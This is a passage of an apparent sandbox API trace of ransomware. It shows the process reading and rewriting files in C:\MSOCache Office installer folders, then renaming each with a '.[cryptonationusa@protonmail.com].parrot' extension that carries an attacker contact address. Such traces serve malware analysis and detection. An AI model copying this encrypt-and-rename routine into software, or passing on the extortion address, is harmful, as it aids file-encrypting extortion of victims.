(HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0115.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0115.085] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6823c8 | out: hHeap=0x5b0000) returned 1 [0115.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685240 | out: hHeap=0x5b0000) returned 1 [0115.096] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.096] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.097] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.097] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd5600, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd5600, lpOverlapped=0x0) returned 1 [0115.161] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.225] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6826b0 | out: hHeap=0x5b0000) returned 1 [0115.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0115.232] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.232] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.234] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.234] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x567, lpOverlapped=0x0) returned 1 [0115.235] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.235] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6826b0 | out: hHeap=0x5b0000) returned 1 [0115.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0115.238] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.238] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.239] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.239] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.276] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.277] WriteFile (in: hFile=0x258, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0115.277] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.277] WriteFile (in: hFile=0x258, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.281] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2cb253, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0115.281] CloseHandle (hObject=0x258) returned 1 [0115.281] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6826b0 | out: hHeap=0x5b0000) returned 1 [0115.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0115.289] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.289] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.290] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.290] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x93a, lpOverlapped=0x0) returned 1 [0115.291] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.291] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6826b0 | out: hHeap=0x5b0000) returned 1 [0115.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0115.299] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.299] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.300] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.300] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.380] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.380] WriteFile (in: hFile=0x258, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0115.380] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.380] WriteFile (in: hFile=0x258, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.384] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x120031c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0115.384] CloseHandle (hObject=0x258) returned 1 [0115.384] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.385] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682a90 | out: hHeap=0x5b0000) returned 1 [0115.385] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.385] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0115.391] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.391] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.392] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.393] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.431] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.431] WriteFile (in: hFile=0x258, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0115.431] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.432] WriteFile (in: hFile=0x258, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.435] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fad18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0115.435] CloseHandle (hObject=0x258) returned 1 [0115.435] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682a90 | out: hHeap=0x5b0000) returned 1 [0115.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0115.443] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.443] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.444] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.444] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4cf, lpOverlapped=0x0) returned 1 [0115.445] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.445] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682a90 | out: hHeap=0x5b0000) returned 1 [0115.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0115.448] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.448] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.450] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.450] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x73c, lpOverlapped=0x0) returned 1 [0115.451] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.451] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682a90 | out: hHeap=0x5b0000) returned 1 [0115.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0115.458] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.458] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.460] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.460] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1861, lpOverlapped=0x0) returned 1 [0115.462] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.462] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682e70 | out: hHeap=0x5b0000) returned 1 [0115.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685240 | out: hHeap=0x5b0000) returned 1 [0115.466] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.466] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.468] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.468] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.502] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.503] WriteFile (in: hFile=0x258, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0115.549] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.549] WriteFile (in: hFile=0x258, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.553] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30781f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0115.553] CloseHandle (hObject=0x258) returned 1 [0115.553] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682e70 | out: hHeap=0x5b0000) returned 1 [0115.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0115.561] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.561] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0115.564] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.564] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.617] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.617] WriteFile (in: hFile=0x258, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0115.618] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.618] WriteFile (in: hFile=0x258, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0115.621] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ab118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0115.621] CloseHandle (hObject=0x258) returned 1 [0115.622] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0115.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682e70 | out: hHeap=0x5b0000) returned 1 [0115.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0115.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0115.638] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, 